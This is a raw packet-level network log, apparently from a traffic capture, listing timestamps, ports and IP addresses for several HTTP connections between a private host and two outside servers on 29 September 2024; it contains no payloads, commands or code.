Sep 29, 2024 00:53:24.337038994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337044954 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337050915 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337050915 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337050915 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337057114 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337064028 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337088108 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337133884 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337143898 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337150097 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337161064 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337167025 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337172985 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337183952 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337191105 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337197065 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337198973 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337202072 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337208033 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337214947 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337219954 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337243080 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337243080 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337274075 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337285995 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337301970 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337307930 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337313890 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337320089 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337331057 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337337017 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337342978 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337348938 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337354898 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337357998 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337357998 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337369919 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337394953 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337410927 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337425947 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337516069 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337676048 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337693930 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337699890 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337712049 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337724924 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337730885 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337737083 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337740898 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337740898 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337743998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337749958 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337755919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337762117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337763071 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337775946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337780952 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337786913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337794065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337805033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337810993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337835073 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337836027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337836027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337855101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337867022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337867975 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337874889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337886095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337892056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337897062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337902069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337912083 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337915897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337924957 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337929010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337935925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337941885 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337941885 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337949038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337955952 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337960005 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337963104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337969065 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337971926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337979078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.337985992 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.337997913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338001966 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.338006020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338028908 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.338054895 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.338078022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338084936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338097095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338103056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338107109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338114023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338120937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338123083 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.338134050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338140965 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338140965 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.338154078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338159084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338165045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338176012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338181973 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338186979 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338191032 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.338191032 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.338191032 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.338193893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338217974 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.338241100 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.338562965 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338570118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338576078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338582039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338587046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338598967 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338599920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.338604927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338608980 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.338613033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338619947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338634014 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338639975 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338641882 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.338646889 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338660002 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338670015 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.338685989 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.338696003 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338696957 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.338702917 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338713884 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338720083 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338731050 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338737965 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338742971 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.338748932 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338756084 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338762045 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338767052 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.338768005 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338773966 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338779926 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338788033 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.338804007 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.338823080 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338824987 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.338830948 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338843107 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338848114 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338862896 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338866949 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338871956 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.338874102 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338876963 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338879108 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338882923 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338890076 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338896990 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338902950 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.338952065 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.338952065 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.338968992 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.338977098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338987112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338993073 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.338998079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339013100 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339024067 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339027882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339040041 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339040995 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.339041948 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339047909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339054108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339061975 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339066982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339073896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339080095 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339080095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339107990 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339128017 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339447021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339458942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339462042 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339467049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339469910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339477062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339482069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339494944 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339495897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339503050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339509964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339515924 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339521885 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339524031 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339528084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339550972 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339564085 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339566946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339574099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339586020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339591980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339597940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339603901 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339610100 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339610100 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339616060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339622021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339626074 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339629889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339643002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339647055 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339651108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339656115 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339682102 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339715958 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339723110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339735031 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339740038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339749098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339756012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339759111 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339762926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339775085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339775085 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339781046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339787960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339795113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339797974 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339802027 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339816093 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339835882 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339839935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339847088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339859009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.339864969 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.339869976 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.339875937 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.339881897 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.339884043 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339895010 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.339895964 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.339901924 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.339907885 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.339914083 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.339926004 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.339931965 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.339941025 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.339951992 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.339972973 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.340286016 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340292931 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340303898 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340311050 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340316057 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340322018 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340334892 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340341091 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340341091 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.340385914 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.340385914 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.340413094 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340420961 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340436935 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340442896 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340449095 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340455055 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340461016 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340466976 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340473890 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.340476990 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340483904 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340490103 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340492010 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.340496063 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340504885 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.340539932 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.340539932 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.340552092 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340558052 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340568066 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340574980 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.340580940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340586901 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340593100 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340594053 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.340598106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340604067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340610981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340615988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340622902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340629101 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340646029 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.340656996 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.340667009 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.340677977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340683937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340689898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340696096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340702057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340707064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340711117 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.340713978 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340720892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340725899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340732098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340737104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340744972 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.340744972 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.340754986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340760946 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.340761900 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340775013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340776920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.340780973 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340787888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340801954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.340805054 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.340823889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.340840101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.341101885 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.341185093 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.341207981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.341216087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.341221094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.341227055 CEST	80	49710	103.130.147.211	192.168.2.9
